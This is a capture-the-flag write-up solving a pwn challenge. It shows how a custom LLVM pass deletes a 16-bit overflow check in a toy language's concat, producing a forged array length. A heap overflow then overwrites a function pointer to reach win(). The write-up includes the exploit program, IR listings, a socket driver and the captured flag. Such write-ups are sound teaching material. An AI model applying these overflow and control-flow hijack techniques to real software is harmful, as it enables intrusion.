compiler? I barely know her! an LLVM pass deletes a check

pwn
flag d4rk{s1gned_0r_Uns1gn3d??_676767}c0de

d4rk{s1gned_0r_Uns1gn3d??_676767}c0de

Summary

The handout ships a custom language ("barely") whose compiler is dslc (Python, emits LLVM IR) plus an LLVM pass plugin compilerIBarelyKnowHer.so. The server runs

output
clang -O1 -fpass-plugin=./compilerIBarelyKnowHer.so -fstack-protector-strong \
      -no-pie -Wl,--section-start=.winsec=0x4010000 prog.ll runtime.o -o prog

then runs it. win() lives at 0x4010000 in .winsec, reads flag.txt and prints it. Two bugs stack into a one-shot heap overflow:

  1. concat(a,b) in dslc computes its overflow check in 16-bit (trunc i64 %la to i16 … icmp ult i16 %t9, %t7), and the pass's trySimplify replaces that icmp ult (add X,Y),Y with a constant false in both branches — so the 16-bit wrap check is deleted at -O1.
  2. The array header is [len][slot0][slot1]..., and the codegen allocates only cap (the truncated 16-bit sum) slots while storing len = the full 64-bit sum. With la = 65536, lb = 1 the array gets 1 slot but a forged length of 65537, so the bounds check on c[1] passes and the write lands 8 bytes past the single allocated slot.

Because the runtime arena is a contiguous bump allocator, c[1] lands exactly on the registered-function-pointer record that register(dummy) just allocated, so c[1] = 0x4010000 overwrites the dispatch pointer with win(). At exit rt_finish jumps through it and prints the flag.

Solution / Exploit

1. Read the handout

The server's handler.sh shows the exact compile line and the win() placement:

bash
1if ! timeout "$COMPILE_TIMEOUT" "$CLANG" -O1 \
2        -fpass-plugin=./compilerIBarelyKnowHer.so \
3        -fstack-protector-strong -no-pie \
4        -Wl,--section-start=.winsec=0x4010000 \
5        prog.ll runtime.o -o prog 2> compile.log; then
6    echo "== compile failed =="; head -c 4000 compile.log; exit 1
7fi

The "barely" language (from LANGUAGE.md) has only int (i64) and array values, with bounds-checked a[i], array(n), concat(a,b), len(a), register(f) (a dispatch slot called once at exit) and print(e).

2. The bug in the generated IR

dslc emits the following for concat(a,b) (from the generated compeasy_exploit.ll):

output
%t7  = trunc i64 %t5 to i16
%t8  = trunc i64 %t6 to i16
%t9  = add i16 %t7, %t8
%t10 = icmp ult i16 %t9, %t7      ; "did the 16-bit add wrap?"
br i1 %t10, label %ccof2, label %ccok1
ccof2:
  call void @rt_oob()
  unreachable
ccok1:
%t11 = zext i16 %t9 to i64        ; cap  (truncated, SMALL)
%t12 = add i64 %t5, %t6           ; total (full 64-bit, LARGE)
%t13 = call ptr @rt_array_alloc(i64 %t11)      ; allocates only cap slots
call void @rt_array_setlen(ptr %t13, i64 %t12) ; header len = total
call void @rt_concat_copy(ptr %t13, ptr %t3, ptr %t4, i64 %t11, i64 %t5)

The pass's trySimplify matches icmp ult (add X, Y), Y and replaces it with constant false — in both branches, i.e. even when the add is not marked nuw (the else branch also returns ConstantInt::getFalse). So the 16-bit wrap check is deleted at -O1. With la = 65536, lb = 1: trunc(65536) = 0, 0 + 1 = 1; the check would have been 1 < 0 → false anyway, but the pass makes it false unconditionally. The point is that the codegen allocates cap = 1 slot while storing len = 65537.

The array header is [len][slot0][slot1]...: rt_array_alloc stores n at offset 0 and returns the block base, so data starts at +8. Since len(c) = 65537 while only 1 slot was allocated, the bounds check icmp ult i64 idx, len on c[1] passes — index 1 is "in bounds" per the forged length but lands 8 bytes past the single allocated slot:

output
%t14 = load ptr, ptr %v_c_2
%t15 = load i64, ptr %t14
%t16 = icmp ult i64 1, %t15
br i1 %t16, label %inb3, label %oob4
oob4:
  call void @rt_oob()
  unreachable
inb3:
%t17 = getelementptr i8, ptr %t14, i64 8
%t18 = getelementptr i64, ptr %t17, i64 1
store i64 67174400, ptr %t18         ; c[1] = 0x4010000

3. Heap layout / control-flow hijack

The arena is a single 256 MB mmap with a 16-byte-aligned bump allocator (arena_alloc), so allocations are contiguous:

  • a = array(65536) → 8 + 8*65536 = 524296 bytes → aligned 524304
  • b = array(1) → 16 bytes
  • c = concat(a,b) → 8 + 8*1 = 16 bytes at A = base + 524320
  • register(dummy) → rt_register does arena_alloc(16) → returns A+16, stores the function pointer at offset 0 of that record, 0x1234 at +8, and keeps the record pointer in the global g_ctrl.

c[1] address = c_data + 8*1 = (A+8)+8 = A+16 = exactly the registered function-pointer record. So c[1] = 0x4010000 overwrites *g_ctrl with win.

At program exit rt_finish does:

output
mov g_ctrl,%rax ; test ; mov (%rax),%rax ; jmp *%rax

→ jumps to win() → prints the flag.

4. The exploit program

compeasy_exploit.dsl:

output
fn dummy() { return 0; }
let a = array(65536);
let b = array(1);
let c = concat(a, b);      # cap=1, len=65537
register(dummy);           # 16-byte record lands at A+16 == &c[1]
c[1] = 0x4010000;          # overwrite registered fn ptr with win()
print(len(c));             # 65537, then rt_finish -> win()

c[1] = 0x4010000 is exactly the .winsec address from the link line.

5. Live proof

Socket driver compeasy_run.py sends 1 at the menu, then the DSL source terminated by a line containing only __EOF__:

python
1HOST, PORT = "<target>", 24814
2src = open("compeasy_exploit.dsl").read()
3s = socket.create_connection((HOST, PORT), timeout=20)
4s.sendall(b"1\n")                      # select "easy"
5s.sendall(src.encode() + b"__EOF__\n")
output
== h4ckc0n :: compiler I barely know her ==
  1) easy
  2) hard
choice> 1
== send your .dsl program, then a line containing only __EOF__ ==
<program + __EOF__>
== running ==
65537
win() called! flag: d4rk{s1gned_0r_Uns1gn3d??_676767}c0de

== exit 0 ==

6. Independent re-verification

Re-ran the exploit against the sanctioned live service twice. Run 1 (compeasy_live_verify1.txt):

output
== running ==
65537
win() called! flag: d4rk{s1gned_0r_Uns1gn3d??_676767}c0de

== exit 0 ==

Run 2, byte-level repr (compeasy_live_verify2_raw.txt, produced by compeasy_verify_raw.py):

output
RAW REPR: b'== running ==\n65537\nwin() called! flag: d4rk{s1gned_0r_Uns1gn3d??_676767}c0de\n\n== exit 0 ==\n'
FLAG MATCH: d4rk{s1gned_0r_Uns1gn3d??_676767}   (raw continues: ...676767}c0de)

The result is deterministic and byte-identical across runs.

Flag(s)

output
d4rk{s1gned_0r_Uns1gn3d??_676767}c0de

The full string emitted by win() is d4rk{s1gned_0r_Uns1gn3d??_676767}c0de — the server's flag.txt content includes the trailing c0de stylisation after the closing brace.

Notes / Pitfalls

  • The local flag.txt is a placeholder. The handout's copy reads flag{local_placeholder_replace_on_deploy}; the real flag came from the live service.
  • No local clang. The host has only libllvm21, no clang binary, so the pass plugin could not be exercised offline. The IR was verified with dslc (pure Python) and the plugin's bug was confirmed by its disassembly/behaviour, then proven end-to-end against the sanctioned live service.
  • The bug is in the interaction, not the language. The -O1 pass deletes the 16-bit wrap check; without the pass the rt_oob branch would trap. The forged length is what turns a bounds-checked write into an out-of-bounds write.
  • Layout is deterministic. The bump allocator never frees, so the register record always lands at A+16, exactly &c[1] — no heap grooming needed.
  • Exact offsets. cap is 1 slot (16 bytes at A, data at A+8); c[1] is at A+16; win is at 0x4010000.